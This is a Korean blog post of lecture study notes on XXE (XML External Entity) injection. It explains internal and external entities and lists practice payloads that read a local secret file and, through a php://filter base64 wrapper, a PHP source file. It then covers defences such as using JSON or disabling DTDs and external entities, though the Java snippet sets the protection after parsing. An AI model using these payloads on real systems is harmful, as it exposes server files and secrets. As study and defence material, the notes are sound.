티스토리 뷰

연습

내맘대로 정리한 XXE

onaeonae1 2021. 5. 17. 10:04

강의를 듣고 정리한거 이후 수정할 예정

 

XXE : XML 파싱 기능이 있는 애플레케이션에 대한 공격 수행
XML External Entity

body 에 xml 이 있는가
일반적인 웹서비스는 요즘 json을 많이 쓰고, xml을 쓰는 경우는 그렇게 많지 않음
레거시 시스템들이 많이 사용하고 있는데, 여기가 위험함

xml parser ->xml
이때 xml 자체에서 외부 파일, 개체를 참조 할때 위험함

*DTD : Document Type Definition

Q. 외부 개체, 내부 개체

내부 개체 : <!ENTITY str "[문자열]">
외부 개체 : <!ENTITY str SYSTEM "file://[경로]">
 -> 이때 외부 개체에 들어가는 경로에 악의적인 경로를 넣으면 위험함. eg) /etc/password
 -> SYSYEM이라는 지시어는 위험함


#실습

* 내부 개체 참조
<!DOCTYPE a[
<!ENTITY str "jajajajajajaj">
]>
<print>&str;</print>

* 외부 개체 참조
<!DOCTYPE a[
<!ENTITY str SYSTEM "file:///information/secret_info.txt">
]>
<print>&str;</print>

소스코드 볼려면 base64로 인코딩 해줘야함

* 외부 개체 참조(소스코드)
<!DOCTYPE a[
<!ENTITY str SYSTEM "php://filter/read=convert.base64-encode/resource=file:///APM_setup/htdocs/isw/xmlparser.php">
]>
<print>&str;</print>

=> 암튼 이런 식으로 외부 자원을 무단으로 열람할 수 있다는 거임 (SYSTEM 예약어를 활용해서!)

#대응방안 
1. JSON 데이터 형식으로 기능 구현[xml 폐기]
2. DTD 및 외부 엔티티 비활성화
(3. xml parser 기능을 제거)

* 외부 개체 참조 비활성화(java)
factory = dbFactory.newDocumentBuilder();
doc = dBuilder.parse(xmlFile);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

* 외부 개체 참조 비활성화(php)
libxml_disable_entity_loader(true);

서버 사이드마다 조치 방법이 다르므로, 이를 잘 알아봐서 적용하기! 

php의 경우 위 처럼 조치해준 후 외부 개체를 참조하면 에러발생하면서 참조 불가함

공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
글 보관함